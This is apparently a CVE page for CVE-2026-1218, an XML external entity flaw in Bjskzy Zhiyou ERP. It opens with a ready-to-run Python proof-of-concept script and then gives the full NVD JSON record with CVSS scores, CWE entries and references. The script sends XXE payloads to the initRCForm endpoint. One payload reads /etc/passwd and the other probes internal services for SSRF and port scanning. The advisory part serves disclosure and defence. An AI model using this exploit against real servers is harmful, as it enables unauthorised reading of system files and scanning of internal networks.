CVE-2026-1218

import requests import xml.etree.ElementTree as ET # CVE-2026-1218 XXE PoC for Bjskzy Zhiyou ERP # Target: RichClientService.initRCForm endpoint TARGET_URL = "http://target-server.com/RichClientService" # XXE payload to read /etc/passwd xxe_payload = '''<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root> <initRCForm> &xxe; </initRCForm> </root>''' # Alternative payload for SSRF/internal port scanning ssrf_payload = '''<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "http://internal-server:8080/admin"> ]> <root> <initRCForm> &xxe; </initRCForm> </root>''' def exploit_xxe(url, payload): headers = { 'Content-Type': 'application/xml', 'User-Agent': 'Mozilla/5.0' } try: response = requests.post(url, data=payload, headers=headers, timeout=10) print(f"Status: {response.status_code}") print(f"Response: {response.text}") return response.text except Exception as e: print(f"Error: {e}") return None if __name__ == "__main__": print("CVE-2026-1218 XXE PoC") print("=" * 50) exploit_xxe(TARGET_URL, xxe_payload)

{"cve": {"id": "CVE-2026-1218", "sourceIdentifier": "[email protected]", "published": "2026-01-20T06:16:00.797", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was detected in Bjskzy Zhiyou ERP up to 11.0. Impacted is the function initRCForm of the file RichClientService.class of the component com.artery.richclient.RichClientService. Performing a manipulation results in xml external entity reference. The attack is possible to be carried out remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way."}, {"lang": "es", "value": "Una vulnerabilidad fue detectada en Bjskzy Zhiyou ERP hasta 11.0. Afectada es la función initRCForm del archivo RichClientService.class del componente com.artery.richclient.RichClientService. Realizar una manipulación resulta en referencia a entidad externa XML. El ataque es posible de ser llevado a cabo remotamente. El exploit es ahora público y puede ser usado. El proveedor fue contactado tempranamente sobre esta divulgación pero no respondió de ninguna manera."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-610"}, {"lang": "en", "value": "CWE-611"}]}], "references": [{"url": "https://github.com/dingpotian/cve-vul/blob/main/Shikong-Zhiyou-ERP/Shikong-Zhiyou-ERP-XXE-RichClientService-initRCForm.md", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.341908", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.341908", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.735201", "source": "[email protected]"}]}}